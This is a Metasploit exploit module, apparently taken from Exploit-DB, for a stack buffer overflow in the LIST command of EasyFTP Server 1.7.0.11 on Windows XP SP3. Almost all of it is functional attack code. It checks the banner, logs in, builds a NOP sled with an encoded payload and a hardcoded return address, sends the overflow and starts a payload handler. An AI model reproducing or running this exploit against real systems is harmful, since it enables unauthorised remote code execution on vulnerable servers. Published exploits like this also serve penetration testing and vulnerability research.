##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
     credit goes to Karn Ganeshan. 
   },
   'Author'         =>
    [
     'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version
     'MFR' # convert to metasploit format.
    ],
   'License'        => MSF_LICENSE,
   'Version'        => 'Version: 1',
   'References'     =>
    [
     [ 'EDB', '14400' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread'
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 268,
     'BadChars' => "\x00\x0a\x0d\x2f\x5c",
     'DisableNops' => false
    },
   'Platform'  => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3 - Version 2002',   { 'Ret' => 0x7e49732b } ],
    ],
   'DisclosureDate' => 'July 5 2010',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /BigFoolCat/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect_login

  buf = ''
  buf << make_nops(268 - payload.encoded.length - 4)
  print_status("Adding the payload...")
  buf << payload.encoded
  buf << [target.ret].pack('V')

  print_status("Sending exploit buffer...")
  send_cmd( ['LIST', buf] , false)

  handler
  disconnect
 end

end